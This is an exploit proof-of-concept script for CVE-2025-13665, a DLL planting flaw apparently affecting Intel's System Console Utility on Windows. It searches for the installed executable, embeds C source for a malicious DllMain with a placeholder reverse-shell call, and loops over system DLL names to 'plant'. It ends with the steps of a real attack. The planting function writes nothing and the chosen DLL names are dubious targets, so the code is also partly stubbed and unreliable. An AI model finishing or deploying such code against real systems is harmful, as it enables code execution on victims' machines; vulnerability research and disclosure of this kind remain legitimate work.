CVE-2025-13665

#!/usr/bin/env python3 # CVE-2025-13665 DLL Planting PoC for System Console Utility for Windows # This PoC demonstrates the DLL hijacking vulnerability import os import ctypes import shutil from pathlib import Path def create_malicious_dll(): """ Generate malicious DLL that will be planted in target directory This DLL creates a reverse shell when loaded by vulnerable application """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Malicious code execution on DLL load // In real attack, this would establish C2 connection or execute payload // Create marker file to indicate successful DLL hijacking HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2025_13665_poc_success.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { const char* msg = "CVE-2025-13665 DLL Planting Successful!"; DWORD bytesWritten; WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL); CloseHandle(hFile); } // Execute payload - reverse shell connection // system("cmd.exe /c <attacker_command>"); } return TRUE; } ''' return dll_code def plant_dll(target_dir, dll_name): """ Plant malicious DLL in target application directory """ malicious_dll = os.path.join(target_dir, dll_name) # Create malicious DLL content (compiled version would be actual DLL) print(f"[*] Planting malicious DLL: {malicious_dll}") print(f"[*] In real attack, this would be a compiled DLL with malicious payload") return True def check_vulnerability(): """ Check if System Console Utility is installed and vulnerable """ possible_paths = [ r"C:\Program Files\Intel\Quartus Prime\bin\system_console.exe", r"C:\intelFPGA\quartus\bin\system_console.exe", os.path.expanduser(r"~\intelFPGA\quartus\bin\system_console.exe") ] vulnerable_path = None for path in possible_paths: if os.path.exists(path): vulnerable_path = path break if vulnerable_path: print(f"[+] Found vulnerable application: {vulnerable_path}") return vulnerable_path else: print("[-] System Console Utility not found in common locations") return None def main(): print("=" * 60) print("CVE-2025-13665 DLL Planting Vulnerability PoC") print("Target: Intel System Console Utility for Windows") print("=" * 60) # Check if vulnerable application exists app_path = check_vulnerability() if not app_path: print("\n[!] Target application not found. This is for educational purposes only.") return # Get application directory app_dir = os.path.dirname(app_path) # Common DLLs that System Console might load common_dlls = [ "msvcrt.dll", "kernel32.dll", "user32.dll", "ntdll.dll" ] print(f"\n[*] Application directory: {app_dir}") print("[*] Attempting to plant DLL in application directory...") for dll in common_dlls: plant_dll(app_dir, dll) print("\n[!] PoC demonstrates the vulnerability concept.") print("[!] In a real attack: 1) Compile malicious DLL 2) Plant in target directory 3) Execute application") if __name__ == "__main__": main()

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